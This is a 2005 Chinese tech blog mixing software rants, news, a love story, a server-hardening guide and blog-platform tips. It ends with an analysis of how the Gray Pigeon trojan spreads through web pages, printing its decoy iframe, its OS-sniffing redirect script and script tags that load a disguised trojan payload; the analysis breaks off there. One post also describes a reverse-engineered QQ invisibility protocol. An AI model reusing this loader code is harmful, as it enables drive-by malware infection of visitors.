因为要看大师之路的教程,我把swf下载到了本地。可flash播放器不能够拖动。只好上网下载一个,我的目地,一个简单的flash播放器
上网搜索搜索,发现各大网站都有一个叫做闪电播放器的东西。心想,可能不错吧。国产软件,支持一下
 上官网看看,不错,英文的,还有order和price,对国外销售的东西,应该不错。而且还有n个版本,可能更新频繁,好东西
下载,好家伙,10m。心想,可能作者开发的功能强大吧。下吧
 
2005-12-22_12-47-21.jpg
 
下载完了,安装。似乎还正常。不过不能选择安装路径,让我很不爽。而且似乎往system32中写入了一些文件。心想,可能是需要吧。认了。我们要支持国产
 
没想到,在安装即将结束的时候,出现这么一个东西
2005-12-22_12-34-47.jpg
 
我靠,原来又是一个捆绑了n多垃圾的软件。马上取消。我不安装了总行了吧
可我的sav已经提示病毒了,又是dudu加速器!!!!而且软件中也没有写!!!!!!!!!!!
2005-12-22_13-16-00.jpg
可我发现,我的托盘区,已经多了2个图标了。。。点开看看,wps2005居然已经开始下载了,我可是一点一点都不知道我要这个东西!!!!!!!我只需要一个小巧的flash播放器!!!!!!!!!!!!!!!!
 
2005-12-22_12-35-55.jpg
 
捆绑了垃圾,我卸载总行吧。打开控制面板,靠,安装的那些什么垃圾的卸载都没有,只有这个播放器的卸载!!!!!!!!!!!
2005-12-22_12-52-48.jpg
 
果然是个垃圾。不管了,全部卸载。我播放器也不要了。从开始菜单中把这个软件卸载。提示我成功
我靠,怎么卸载还弹出n多窗口,看看都什么东西。里面居然有这么一个。。
 2005-12-22_12-38-55.jpg
疑?怎么桌面上还有?开始菜单里面还有?再点卸载,却告诉我已经卸载了。。。
 
2005-12-22_12-42-52.jpg
 2005-12-22_12-39-41.jpg
 
妈的,点击一下。居然还可以运行。他妈的根本没有卸载!!!
上安装文件夹看看,我靠,里面原来是这些东西
 而且还单独安装到了3个不同位置的文件夹
2005-12-22_12-40-47.jpg 2005-12-22_12-41-48.jpg
2005-12-22_13-33-42.jpg 2005-12-22_13-36-24.jpg
 
而且在windows 目录下,还有他的安装文件
 
2005-12-22_13-39-29.jpg
 
恩,这就是我们的国产软件阿。看见那个getflash.exe了吗?看到那个install flash player8.exe了吗?
这些根本就是官方的,被这个垃圾软件集成了一下。
而后果呢?在我电脑上安装了上图的那么多东西!!!!!!!!
我只需要一个flash播放器。。。。一个10k的东西就可以满足的!!!!!!!!!
我要删除这个文件夹,shift+del。。。拒绝删除,文件正在使用中
fuck!!!!!!!!!!!!!原来都已经在运行了,任务管理器,结束任务!!!!!删除!!!
终于把文件夹干掉了。。。
可他捆绑的那6个垃圾软件卸载了没有?我不知道,真的不知道。控制面板没有,文件夹中也没有。甚至有没有安装,安装到什么地方,我一无所知。
检查了一下启动项,已经多了3项。注意!!我已经卸载了!!!
 
2005-12-22_13-24-23.jpg
不得不考虑重新安装系统了
 
 
这就是国产的软件,tnnd就是垃圾。我只需要一个10k的播放器,你给了我什么!!!!!!

背上的爱

| | Comments (0) | TrackBacks (0)
  
她是城市的白领,他是城市的扛包工人。高中毕业后,两个人划着完全不同的青春轨迹。可是,他们依然保持着恋人的关系。
  
      仅仅是保持着。
 
  白天,她在公司里喝正宗的雀巢咖啡,下班后,她吃他买来的廉价的冰棍;中午,她品味着公司里精致的饭菜,晚上,他带她去脏兮兮的饭馆吃并不正宗的兰州拉面。她认为,自己的生活太不协调。
 
  这样的恋情,从开始的那一天,便仿佛注定了某一种结局。
 
  他每天去接她,然后送到她所居住的白领公寓的电梯口,道一声晚安,匆匆离去。那天她突然想撒娇,她说背我上去吧!他看了看电梯,电梯运转良好,然后他回头,说,好。他没问理由。他背着她,从一楼开始,慢慢向上爬。
 
  爬到一半他累了,他说休息一下好不好,她突然来了兴致,娇嗔着说不行。他就真的没有休息,一直爬到她的寓所所在的13层。她问他累不累,他说累,比扛包累。她知道他说的是真的,她有了一丝感动。
 
  但他们还是分手了。因为有时候,仅有感动,并不能够将爱情维持。
 
  城市里并不缺少一个扛包工人,所以他回到乡下。他偶尔会给她打来电话,告诉她他现在种着大棚,挣了一些钱。她听着,淡淡的。那时她已经有了新的男友,门当户对的那种。
 
  然后某一天,他又一次打来电话,说他攒够了五千元钱,这些钱,可以在乡下娶老婆了。她发现,突然间,自己的眼角,竟然有些湿润。
 
  她新交的男友也是每天接她下班,送她至电梯,很绅士地道一声晚安,然后离去。某一天她说,背我上去吧。男友说,行。那时电梯停在一楼,男友背起她,飞快地冲进电梯。她伏在男友的背上,与电梯一起爬升,心却在飞快地下沉。男友嘿嘿笑着,好像对自己这个带 着幽默的小伎俩很是满意。
 
  那一天,她没有接受男友照例的吻别。
 
  她给他打电话,她问他那五千块钱花出去了没有,然后她便发现自己泪流满面。他说花出去了。她扔掉了电话,那一刻,她觉得自己正在失去整个世界。
 
  几天后她在电梯门口看到他,他的手里拿着一枚戒指,很高档。他把戒指扬了扬,说,五千块。她乐了。然后她开始哭泣,哭得一塌糊涂。
 
  她说背我上去?他说好。然后他背着她,一步步爬着楼梯。途中他累了,他说这次让不让休息,她说不行不行。他就沉默着,一直爬到了13层。
 
  这时她想,如果一个男人,肯背着一个女人爬最漫长的楼梯,甚至可以不问理由,那么,这个女人,还有什么理由拒绝他呢?她给了他一个长久热烈的吻。
 
今天早上一上网,就看到这么一条震惊的消息:
 
据《纽约时报》报道,硬盘业巨头希捷公司昨天与竞争对手迈拓公司达成协议,将以19亿美元的高价(以股票形式支付)将后者收归帐下。
 
这笔交易已经得到双方董事会的确认,预计24小时之内就会正式对外宣布。
 
此次交易完成后,原希捷投资者将拥有新公司84%的股份,迈拓一方拥有16%。根据交易,每股迈拓股票折换为0.37股希捷股票(目前希捷和迈拓的股价分别为$7.25和$4.52)。希捷公司CEO William D. Watkins将执掌合并后的新公司,迈拓CEO C. S. Park也会在新公司董事会中占有一席之地。
 
这次收购对希捷而言不仅仅是对产品线的丰富,更可以利用其生产工艺将迈拓硬盘的价格降低到一个更低的水平。据参加谈判的一名高官称,希捷希望籍此每年节省3亿美元。
 
目前希捷和迈拓两公司的经营状况可谓是悲喜两重天。在今年7月结束的上一个财年中,希捷总收入75.5亿美元,税后净利润7.07亿美元。同时迈拓的总收入已经从2003年度的40.8亿美元下滑到上一年度的37.9亿美元,同时1.28亿美元的净利润也变成了1.82亿美元的亏损。迈拓在最近五个季度有四个在亏损,最近三年中有两年在亏损。
 
2004年的迈拓在桌面硬盘的生产和设计问题面临了巨大的挑战,公司经营每况愈下,也导致了管理层的变动。尽管新管理层放言迈拓将会复苏,但爆出的产品问题导致其十月份股价又下跌了5%。不过在今年前三个季度中,迈拓的收入已经增加了6%,毛利率已经有所改善,亏损也有减少。目前迈拓的主要目关放在企业客户方面。
 
目前数字存储市场的需求正在急剧升温,大体积的音频视频文件对存储设备提出了更高的要求,而快速发展的硬盘技术在其它存储设备面前继续保持着高容量、低价格的优势。希捷对迈拓的收购正是适应了目前这一形势。
 
收购迈拓后的希捷在硬盘市场的霸主地位无疑将更加难以企及,但也会在投资者之间引发一些怀疑。希捷公司成立于1979年,是最早生产桌面电脑硬盘的厂商,目前已经成为业界的领头羊,并不断推进更小型硬盘和新存储技术的发展,而摆在迈拓面前的最大问题是,它已经不是移动硬盘领域的重要棋子。希捷能否顺利消化迈拓并为己所用,还有待时间和市场的考验。

研究生?烟酒生?

| | Comments (2) | TrackBacks (0)
中国的教育,目的就是把研究生培养成烟酒生!
我的同学,天天就是。。
 
2005-12-21_16-27-51.jpg

golive用来写css+div太方便了

| | Comments (0) | TrackBacks (0)
打算重新写界面了,依然是div+css。
从网上找了张图片。要把它移植到mt下。难度不小
 
用golive写了下,发现太方便了,对于层的布局,定位,等等。而且更重要的是,golive里面居然直接就有mt的控件,可以直接使用,太爽了
 
 
2005-12-21_14-55-19.jpg 2005-12-21_14-55-30.jpg2005-12-21_14-55-45.jpg

win2003下服务器安全配置

| | Comments (0) | TrackBacks (0)
版权所有,Meteor 。
基本的服务器安全设置
1、安装补丁
安装好操作系统之后,安装上SP1,然后点击开始→Windows Update,安装所有的关键更新。
 
2、安装杀毒软件
       虽然杀毒软件有时候不能解决问题,但是杀毒软件避免了很多问题。作为服务器使用,不能使用类似瑞星、kv、卡巴的单机版;而应该使用专门的服务器版。这个国内的似乎都没有做到。国外的有sav,macfee企业版和卡巴企业版。我一直使用sav企业版。
      不要指望杀毒软件杀掉所有的木马,因为ASP木马的特征是可以通过一定手段来避开杀毒软件的查杀。
 
3、设置端口保护和防火墙、删除默认共享,关闭不需要的服务。这些网上有,就不写了
 
权限设置
1、权限设置的原理
WINDOWS用户,在WINNT系统中大多数时候把权限按用户(組)来划分。在【开始→程序→管理工具→计算机管理→本地用户和组】管理系统用户和用户组。
NTFS权限设置,请记住分区的时候把所有的硬盘都分为NTFS分区,然后我们可以确定每个分区对每个用户开放的权限。【文件(夹)上右键→属性→安全】在这里管理NTFS文件(夹)权限。
IIS匿名用户,每个IIS站点或者虚拟目录,都可以设置一个匿名访问用户(现在暂且把它叫“IIS隔离用户”),当用户访问你的网站的.ASP文件的时候,这个.ASP文件所具有的权限,就是这个“IIS隔离用户”所具有的权限。

2、权限设置的思路
每个文件夹都需要有单独的用户,并且只针对该用户访问。该用户为系统用户,且只属于隔离用户组
 
配置方法
1、所有磁盘之只留下system和administator的完全权限,其余的全部删除。注意,去掉继承选项。
2、修改系统属性,将系统的临时文件移动到c盘以外的地方。然后赋予system和administator的完全权限,同时添加虚拟用户的修改权限。
3、具体对文件夹进行配置。假设我们的d盘存放web网站。那么,d盘的权限只有system和administartor完全控制,其余全部去掉。
      比如:需要增加一个名为xxx的网站,
                 a、创建用户组 虚拟用户。隶属于,无。
                       创建用户xxx。隶属于 虚拟用户。删除user组。设定密码。同时设定不可修改密码,密码永不过期                
                b、在d盘下新建名称为xxx的文件夹。添加xxx的权限。注意,不能添加写入和修改。正常情况下应该是读取、列表权限
                c、找到xxx网站的数据库data.mdb。设置xxx权限修改。
                d、找到xxx网站上传文件夹upload,设置xxx权限为修改
                e、在iis中增加虚拟目录xxx。设置为纯脚本。同时,删除除asp,asa之外的所有解析。
                f、在iis中设置虚拟目录xxx的访问权限为允许匿名用户,但不使用默认,用户设置为刚才的xxx,输入密码
               g、在iis中找到data.mdb以及upload目录,设置执行权限为无。
 
 
 
 
 
 
这样来说,服务器就比较安全了。对于asp漏洞可以做到较好的防范。
2005-12-21
                 

今天晚上写了一晚上的css,以及分析wp和mt的模版构成。
可以很顺利的把wp模版转到mt上,呵呵。
明天开始动手了:0

MT分页的另类解决方法

| | Comments (0) | TrackBacks (0)
网上关于mt的分页,也是一直在讨论。似乎也没有什么好的方法。
有一个相关的就是使用php来替代。但使用php,不如直接用wp了。今天作了一个测试,已经可以完美的把mt转换的wp了。
但还是不甘心放弃mt。
 
mt唯一让我不爽的就是不能分页。导致了分类归档的页面实在太长,太长
 
另类解决方法,也就是分页的一个变态解决方法
 
在分类归档的页面里面,找到
 <MTEntries>
修改为
 <MTEntries lastn="X">
其中,x为你想要分类归档显示的数目,就可以了。
如果想要看全部的,就search 和Archives

给wp增加了一个可视化编辑器

| | Comments (0) | TrackBacks (0)
安装上了WP来和mt进行对比。如果合适的话,可能会迁移至wp。
安装上第一点,编辑器阿。。
修改了下当时给mt准备的编辑器,现在在wp可以用了。效果如下
 
2005-12-20_14-07-35.jpg
 
 

MT不支持分页。。

| | Comments (0) | TrackBacks (0)
Mt不支持日志的分页
对于按月归档还好说,但对于分类归档,实在恐怖。。。
 
考虑是不是要迁移至WP了
下班前收到一封垃圾邮件,真是有水平阿。有理有据,写得还很吸引人。
贴上来,大家看看了
 
Hi my Dear!
 
I want to start my first letter from a question: "Is it possible to be happy without LOVE?"
I think that you will agree with me if the answer will be "NO WAY". Love is the most beautiful and exciting thing that may happen between man and woman! It inspires us only for doing positive things towards each other.
One very famous writer said: "The beauty will rescue the world" i agree with his words but still i would add :
" LOVE and Beauty will rescure the world".
I hope you agree with me that Love is a big notion.
There's love to  God, to Mother, to a child to the country where you were born, and there's love that joins a man and woman for all their life. That is the LOVE i'm looking for! And i'm seeking for the man who is also eager to have this life long adventure full of surprises and new experience we can share together! Will you join me for this trip?
I do realise that it should be very difficult to say "Yes" from the first letter having no idea about me.
That's why i just offer to get to know each other better though correspondence that will help us to reveal many things about each other whether we mach perfectly or not. In addition you can look at my pictures and read some info about me here http://miXSAHB.i-looking-for-you.com/
I hope you'll like what you see and read there.
Well closing my first letter to you i just want to thank you for reading it and i really hope that you'll share my point of view on what i said above. I do really hope that you'll answer me soon.
 
good-bye,
Bibi M.

安装了scode生成验证码

| | Comments (1) | TrackBacks (0)
为了防止评论,还是给mt安装上评论需要输入验证码的scode吧。
网上关于scode的安装还没有比较完全的,这里写一下自己安装笔记
 
1. 下载SCode1.0
2. 将压缩包中plugins目录下的SCode解压到MT的插件目录plugins中;
3. 登录MT3.2管理后台,在主菜单右键点击plugins,进入插件管理;
4. 在插件管理列表中找到SCode,点击Show Settings,设置SCode参数:
Temp Directory:临时目录。这里要写服务器上的绝对路径
Length:验证码长度,默认是6位
Max Temp File:临时文件夹中最多允许多少个临时文件
Action:当验证码出错时怎么处理评论
5. 切换到Blog的Setting目录,选择Plugins,在插件列表中找到SCode,点击Show Settings,勾选“Enable Security Code (CAPTCHA) checking on this blog.”以打开验证码服务;
 
然后修改单篇归档模版,在合适位置添加

   <label for="scode">Security Code:</label><br />
   <input type="hidden" id="code" name="code" value="<$MTSecurityCode$>" />
   <img border="0" src="<$MTCGIPath$><$MTSecurityImage$>?code=<$MTSecurityCode$>"><br />
   <input id="scode" name="scode" />
然后生成,提示没有这种方法。察看scode的说明(http://www.movalog.com/plugins/wiki/SCode
需要安装GD库和GD Perl库。
安装把,没有选择。。。
cpan
install gb
失败
tar -xzvf gd-2.0.33.tar.gz
cd gd-2.0.33
./configure
make
make install
tar -xzvf GD-2.30.tar.gz
cd GD-2.30
perl Makefile.PL
make
make install
页面重建正常。但验证码无法显示
再看看编译,原来编译gd的时候,发现原来png没有被编译。只能
 
重新编译gd了。。
首先apt-get install libpng-dev
重新执行./configure
make
make install
 
然后重新生成,生成正常。看看页面,验证码的地方打个叉。再看看刚才设置的存放临时文件的位置,的确是有了。不解。
查看图片的地址,有错误提示,原来是没有解析png图片的方法
重新执行编译,看看问题出在什么地方
 
cd gd-2.0.33
./configure
这个地方显示了png support no。。。
原来编译的时候就没有编译png的支持。。。
apt-get install libpng-dev

然后重新执行上面的编译,注意,2个东西都要重新编译,就ok了
 
查看现在的页面,验证码可以正常显示了:)
这里把文中需要的几个软件放上来
 

mt防止垃圾评论

| | Comments (0) | TrackBacks (0)
本blog开放评论了,可担心垃圾评论的问题。
上网看了看,都推荐MT-Blacklist。
到MT-Blacklist的官方网站看看,结果发现。。。
 
MT-Blacklist was once an indispensible part of any Movable Type installation. For years, it kept us sane and did a better job than any other solution in keeping spammers at bay.
But then, came Movable Type 3.2. Movable Type 3.2 includes a sophisticated pluggable feedback rating framework that provides for a completely customized spam-fighting solution and a Junk folder that catches everything marked as Junk. What's more, Brad Choate's SpamLookup has been enhanced to work with the framework, had a number of new features added and is bundled with Movable Type 3.2.
Here's what to do:
 
Get Movable Type 3.2
Remove ALL traces of MT-Blacklist from your plugins folder
Spend more time blogging and less time worrying about spam and server load
With these tools in place, the burden of spam has been completely eliminated from the Movable Type experience. You receive the comments and TrackBacks that you want, and the spam flows entirely into MT 3.2's Junk folder and is auto-deleted after a short time.
For this reason, MT-Blacklist is no longer needed. I know that many of you spam-weary MT users can't imagine living without MT-Blacklist, but believe me, you don't need it. It takes infinitely more effort to maintain your blacklist, it's less accurate and effective and with Movable Type 3.2's plugin API, it's nothing more than a poor hack.
I thank you all for your support over this time and it's my honor to have helped all of you keep your sanity and your blogs spam-free(ish).
 
希望真的像她说的那样,,不然。。
如何使地址栏的HTTP地址保持不变,即在点击主页中的链接到另一个页面但地址栏中的地址还为主页地址?
<html>
<head>
<title></title>
<meta content="text/html; charset=gb2312" http-equiv=Content-Type>
---------------------------------------------------------------------------
<frameset border=false frameborder=0 framespacing=0 rows=0,* >
---------------------------------------------------------------------------
<frame marginheight=0 marginwidth=0 name=refresh noResize scrolling=no src="blank.htm">
<frame name=hl8 src="default.asp" scrolling="auto" noresize >
<noframes>
<body topmargin="0" leftmargin="0"><!--msnavigation-->
<p>This page uses frames, but your browser doesn't support them.</p>
</body>
</noframes></frameset></html>
Sun Microsystems Inc.周四宣布推出新版本Java System Portal Server软件,该软件可以免费下载,并与Java Enterprise System, Solaris Enterprise System及Java Application Platform Suite搭配使用。
 
开发人员可以利用新的portal server来构建包含RSS feed,blog及wiki等互动内容的社区门户。Sun公司还表示,新版本还加强了用户控制,减少开发时间,解放IT资源,另外还支持service oriented architectures(SOA),允许使用Sun Java Studio Creator进行直接拖放portlet development。
 
本周早些时候,Sun还宣布将其开源版Java DB database和Apache Derby Project Sun支持版也集成进新版的Java System Portal Server。

W800升级。。。

| | Comments (0) | TrackBacks (0)
终于可以升级了。。。
 开始时总是服务器繁忙,不停的retry...
2005-12-15_21-17-51.jpg
终于。。
 
2005-12-17_09-19-59.jpg
 
据说第一次运行会下载n多的文件,等把。。
我已经重新启动了3次,依然这样。。难道我网络真的很慢?
waiting...
 依然这样,自己研究了下,发现
 
安装好升级文件,在
X:\Program Files\Sony Ericsson\Update Service\db\13740270\blob_db\data目录下,有150个文件
然后当你开始升级。也就是我们卡住的那个界面。再检查那个文件夹。就会发现该文件夹中的所有文件都已经被删除,重新下载新版文件
我们卡的过程就是狭窄的过程,我下载到66个文件开始了下一步。2005-12-17_10-27-49.jpg
不过开始点了没有反应。再检查文件。下面变成了129个文件。这个时候点击开始,才会进入第3步
更正:刚才发现。似乎在整个更新过程中。X:\Program Files\Sony Ericsson\Update Service\db\13740270\blob_db\data下的文件一直在增加。可能是sony利用带宽的方法。开始更新手机时的,最后文件个数,我的为177个(w800c)
总是卡住的朋友。可以重新安装update程序。记住卸载之后,要把X:\Program Files\Sony Ericsson\文件夹删除。然后重新安装。或者把X:\Program Files\Sony Ericsson\Update Service\db\13740270\blob_db\data文件夹下的文件删除,然后重新开始。不过最好卸载从来。
 
2005-12-17_10-29-47.jpg
 
 
然后就很简单了,按照提示进行就可以了
不过记住,按住的  c  键是手机上的,不是电脑上的。。。
同时需要安装刷机驱动。
2005-12-17_10-29-55.jpg 2005-12-17_10-34-18.jpg 2005-12-17_10-35-06.jpg 2005-12-17_10-35-12.jpg 2005-12-17_10-48-08.jpg 2005-12-17_10-53-39.jpg 2005-12-17_10-53-47.jpg
 
这些,是升级过程中,发生了变化的文件。
想要提取rom的,研究下吧
2005-12-17_10-50-57.jpg
在搜友和miniqq出来的一天之内,把它们都干掉了。。再次不能显隐身了。。
根本原因,是搜友和miniqq使用的都是同一条协议,经过简单分析。连接的是219.133.40.209:4701。用的是TCP连接。搜友功能简单,只有3条指令,登录,隐身,返回列表。和miniQQ唯一的差别就是时间戳,MiniQQ是5位,搜友是3位。
而tencent只需要把地址换一下,或者把反编译得到的漏洞补上就可以了。。
现在的想法是,如果想要显隐身。只能是在电脑上模拟wap上网,然后通过wap网关来访问qq。但同样有一个问题,似乎现在tencent对wap上网也作了检测,会检测你使用的是手机还是其他。其他直接跳回页面。。。

正在更换模版。。。。

| | Comments (0) | TrackBacks (0)
今天打算换一个模版。
正在进行中。。。
如果访问不正常,见谅。。。

找到一个不错的wp模版网站

| | Comments (0) | TrackBacks (0)
MT的模版实在太少。。
找到了个wp的
 
难道又要开始做移植。。。
痛苦。。
vista 更加值得期待了,不是吗?
据Techworld报道,微软计划将Windows Vista中的图形子系统与操作系统内核分离,以此提高系统的稳定性。
 
微软官员表示,之所以要将Vista图形子系统WPF(Avalon)从Vista系统内核中脱离出去,主要是因为很多情况下的系统锁死都是因为GUI界面失去响应的缘故。
 
微软已经通知开发人员,包括显卡驱动在内的大多数驱动程序都将运行在用户模式下,也是就说它们将无权访问系统0级内核。在0级模式下,进程可以为所欲为,包括覆盖不属于自己的内存分区等,进而导致系统崩溃。微软声称大约89%的系统崩溃都是驱动程序导致的,因此将其限制在用户模式下将极大地改善系统的稳定性,即使驱动程序出现问题也不会导致整个系统的崩溃。
 
用户界面转入用户模式还可有助它与硬件的相互独立,并减少恶意软件对系统内核的攻击以及窃取数据的企图。Windows系统最初发布的时候向用户界面和驱动程序开放了系统内核,毕竟微软也不会料到硬件发展到今天会达到如此丰富的程度。
 
据指出,这一改变还将改善AutoCAD等图形软件的运行,不过总体来说系统性能会有一定程度的损失。
 
这样一来,Windows就更像Linux或Unix甚至MacOS了,因为它们的图形子系统都是独立组件,与系统内核没有直接联系。

w800升级。。。

| | Comments (1) | TrackBacks (0)
终于出了新版本了。
sony的Update Service也变成了新版。不过,让我很不爽。试了n多次,都是服务器繁忙。。
我要给w800升级阿。。
2005-12-15_21-17-51.jpg
 
 
 

果然都在。。。。

| | Comments (2) | TrackBacks (0)
这个软件的声音,cool....
不过大家都在。。
 
2005-12-15_17-55-36.jpg
 
 
2005-12-15_18-01-04.jpg
无语。。。。
 
AT&T Inc.和BellSouth Corp.目前正在游说美国国会给予它们将Internet分为两层的权利,此举成功的话,电信运营商自己的网络服务将比其竞争对手更快更有效率。
 
这样的提议显然将遭到Google、雅虎、时代华纳和微软等公司的强烈抗议。他们害怕将互联网分层后,电信公司对一些目前正高速发展的业务拥有过高的控制权。
 
而上面提到的业务主要就是指视频服务。许多大型电信公司目前都致力于在互联网上传播广播级电视节目,但目前即使采用高速宽带Internet,在线播放视频的效果和流畅度仍不甚理想。
 
而AT&T和BellSouth发起的提议将允许电信运营商为客户提供高级Internet视频服务,而其他竞争对手的视频服务只能以低速传输。
 
当然,AT&T等公司要向那些使用高速Internet的用户以及视频服务商收取额外费用。也就是说,如果雅虎等公司想要向AT&T用户提供高品质在线视频,就必须向AT&T交钱。
 
将Internet宽带服务分为“普通”和“额外付费”两种类型的提议引起了美国国会的激烈辩论。上个月众议院召开听证会讨论此问题,该法案预计将于明年早些时候得出最终结果。
 
Google和Amazon.com、eBay等公司极力反对该提案,他们担心今后不得不向电信公司支付数百万美元的高速Internet使用费。另外,他们还认为许多小型的互联网公司无力支付这样的费用,用户的选择面将变窄。“互联网的模式是运营商无法干涉客户的选择。”Google华盛顿政策专员Alan Davidson说,“部分最有价值的新服务将不具竞争性。”
 
而电信公司则认为它们已经在建立高速光纤网络上投入了数十亿美元,因此也有权让自己的服务享受Internet大部分带宽,并向其他享受高速连接的公司或个体收取费用。
 
Hmm,中国电信一定也非常欢迎该提案。

升级bios..

| | Comments (0) | TrackBacks (0)
昨天晚上实在无聊,想想自己的电脑,windows下,dos下刷bios的次数太多了。
看看主板启动之后按alt+F2自动升级是什么样子。
于是,把主板bios版本降低,然后再刷回去。。。就是下面的画面了。不错奥
用手机照得:)
 
DSC00132.JPG DSC00133.JPG

另外一个wap登录的qq客户端

| | Comments (1) | TrackBacks (0)
搜友的最新版。同样是显隐身。

命令提示符下的qq

| | Comments (1) | TrackBacks (0)
今天找到的命令提示符下的qq,很cool奥。并且之后70k.
可以看到隐身。应该是使用的wap登录方式。
 
2005-12-15_08-18-45.jpg
 
  

FCKeditor_2.1.1 for php

| | Comments (0) | TrackBacks (0)
FCKeditor_2.1.1。修改了下。删除了没有用的文件。同时修改为了中文。
其余没有变化。需要的话,自己订制
 

修正CMS Made Simple的FCKeditorX

| | Comments (2) | TrackBacks (0)
CMS Made Simple默认安装之后,其中自带的组件FCKeditorX不正常。修改了一下。放上来了。
直接替换掉源文件就可以了

小巧的mp4,3gp播放器

| | Comments (13) | TrackBacks (0)
播放mp4和3gp的播放器,非常小巧。
 

双核桌面CPU:Intel再次完败

| | Comments (0) | TrackBacks (0)
AMD在双核心服务器处理器挑战赛中获胜的消息,而现在zdnet.com.au又为AMD传来捷报,在该网站自发进行的双核心桌面处理器对比测试中,AMD再次大获全胜!.
 
具体内容

加菲猫语录

| | Comments (0) | TrackBacks (1)

Money is not everything. There’s MasterCard & Visa.
钞票不是万能的, 有时还需要信用卡

One should love animals. They are so tasty.
每个人都应该热爱动物, 因为它们很好吃

Save water. Shower with your girlfriend.
要节约用水, 尽量和女友一起洗澡

Love the neighbor. But don’t get caught.
要用心去爱你的邻居, 不过不要让她的老公知道

Behind every successful man, there is a woman.
And behind every unsuccessful man, there are two.
每个成功男人的背后, 都有一个女人. 每个不成功男人的背后, 都有两个

Every man should marry. After all, happiness is not the only thing in life.
再快乐的单身汉迟早也会结婚, 幸福不是永久的嘛

The wise never marry, and when they marry they become otherwise.
聪明人都是未婚的, 结婚的人很难再聪明起来

Success is a relative term. It brings so many relatives.
成功是一个相关名词, 他会给你带来很多不相关的亲戚 (联系)

Never put off the work till tomorrow what you can put off today.
不要等明天交不上差再找借口, 今天就要找好

Love is photogenic. It needs darkness to develop.
爱情就象照片, 需要大量的暗房时间来培养

Children in backseats cause accidents. Accidents in backseats cause children.
后排座位上的小孩会生出意外, 后排座位上的意外会生出小孩

Your future depends on your dreams. So go to sleep.
现在的梦想决定着你的将来, 所以还是再睡一会吧

There should be a better way to start a day than waking up every morning.
应该有更好的方式开始新一天, 而不是千篇一律的在每个上午都醒来

Hard work never killed anybody. But why take the risk?
努力工作不会导致死亡! 不过我不会用自己去证明

Work fascinates me. I can look at it for hours!
工作好有意思耶! 尤其是看着别人工作

God made relatives; Thank God we can choose our friends.
神决定了谁是你的亲戚, 幸运的是在选择朋友方面他给了你留了余地

When two’s company, three’s the result!
两个人的状态是不稳定的, 三个人才是!

A dress is like a barbed fence. It protects the premises without restricting the view.
服饰就象铁丝网, 它阻止你冒然行动但并不妨碍你尽情的观看

The more you learn, the more you know, the more you know, and the more you forget.
The more you forget, the less you know. So why bother to learn.
学的越多, 知道的越多, 知道的越多, 忘记的越多, 忘记的越多, 知道的越少, 为什么学来着

Unix常用监控和管理命令

| | Comments (0) | TrackBacks (0)
ps:查看系统中的进程,Linux中可以使用ps -aux查看所有进程
参数w表示加宽显示的命令行,参数w可以写多次,通常最多写3次,表示加宽3次,这足以显示很长的命令行了。
例如:ps -auxwww
 
top:显示系统内存、cpu使用情况,并可自动刷新进程列表
 
vmstat:显示当前的内存使用情况
 
netstat:显示网络状况,使用参数p可以查看对应的进程号及程序名,
通常使用参数a(显示所有连接情况)和n(不反查域名和服务名),
例如:netstat -anp
 
查看服务器侦听情况,使用:
netstat -an | grep LISTEN
 
查看服务器已建立的连接,使用:
netstat -an | grep ESTABLISHED
 
ifconfig:查看(或设置)网络设备信息
ifconfig -a:查看所有网络设置信息
 

last:显示登录到服务器的情况以及服务器重启情况
 
df:显示硬盘空间及使用情况,Linux下可以带参数h,显示结果更人性化。例如:
df -h  硬盘空间按人性化显示
df -k  硬盘空间按KB显示
df -m  硬盘空间按MB显示
 
w:显示登录到服务器上的用户列表
 

以下几个命令仅针对Linux
 
lsof:显示当前打开的文件列表,包括建立的socket连接等。本命令可以用于程序员检查编写的程序打开的文件数。
 
sysctl:显示(或设置)系统内核参数
sysctl -a  显示所有内核参数
sysctl -w  参数名=参数值
例如:sysctl -w fs.file-max=10240 设置系统允许同时打开的最大文件数为10240。
 
内核参数fs.file-nr包括三个参数值,第一个参数表示系统中曾经同时打开过的文件数峰值,
第二个参数表示空闲(分配后已释放)的文件数,
第三个参数表示可以打开的最大文件数,其值等于fs.file-max。
 
当前打开的文件数 = 第一个参数值 - 第二个参数值
 
例如:
fs.file-nr = 977        223     10240
当前打开的文件数 = 977 - 233 = 744
 
设置内核参数时务必小心,如果设置不当会导致系统异常,甚至当机。
 

ulimit:显示(或设置)用户可以使用的资源限制
 
ulimit -a  显示用户可以使用的资源限制
 
ulimit unlimited  不限制用户可以使用的资源,但本设置对可打开的最大文件数(max open files)
和可同时运行的最大进程数(max user processes)无效
 
ulimit -n  <可以同时打开的文件数>  设置用户可以同时打开的最大文件数(max open files)
例如:ulimit -n 8192
如果本参数设置过小,对于并发访问量大的网站,可能会出现too many open files的错误
 
ulimit -u  <可以运行的最大并发进程数>  设置用户可以同时运行的最大进程数(max user processes)
例如:ulimit -u 1024

灰鸽子木马网页传播分析

| | Comments (2) | TrackBacks (0)
最近中灰鸽子木马的人不少,分析一下灰鸽子的网页传播方式
黑鸽子会产生一个frame,如下:
 
<iframe src="http://www.qq.com/" width="800" height="600"></iframe> <script language=javascript>ie='fucksnow';ver=navigator.appVersion;if(!(ver.indexOf('NT 5.0')==-1))ie='nt';if(!(ver.indexOf('Windows 98')==-1)){ie='98';}location.href=ie+'.htm';</script>
 
页面中嵌入的iframe是掩人耳目的,重要的不是ifrme部分,而是后面的javascrpit部分

<iframe src="http://www.qq.com/" width="800" height="600"></iframe>   //掩人耳目
<script language=javascript>
ie='fucksnow';                //定义变量ie=fucksnow
ver=navigator.appVersion;   //获得浏览器版本
if(!(ver.indexOf('NT 5.0')==-1)) ie='nt';      //如果是2k系统则ie=nt
if(!(ver.indexOf('Windows 98')==-1)) {ie='98';}   //定义变量ie=98
location.href=ie+'.htm';    //重定向到 ie+'.htm'
</script>
 
佩服作者的细心,这三个htm:98.htm nt.htm 和fucksnow.htm只有一个地方不同,就是利用的chm文件的所在位置不一样,作者根据98 2k和 xp的帮助文件位置不同设置了几个不同的运行条件,从这方面看作者到做的非常好,比国内很多的软件商都要好得多

我们以fucksnow.htm为例做分析:如果直接查看fucksnow.htm的源代码可以看到里面似乎是乱码,其实不然,这是利用了IE解析Html代码的时候忽略空格的特性。我们把里面所有的空格去掉,再稍微整理,就可以看到下面的代码了(空格都被去掉了,代码有点乱)。
 
 
<SCRIPTlanguage=VScriptsrc="mmmmm.gif"></SCRIPT>               //加载mmmmm.gif,这个其实不是图片,后面会说到
<SCRIPTlanguage=VScriptsrc="xxxxx.pif"></SCRIPT>               //加载xxxxx.pif,灰鸽子木马
<HTML><BODY>
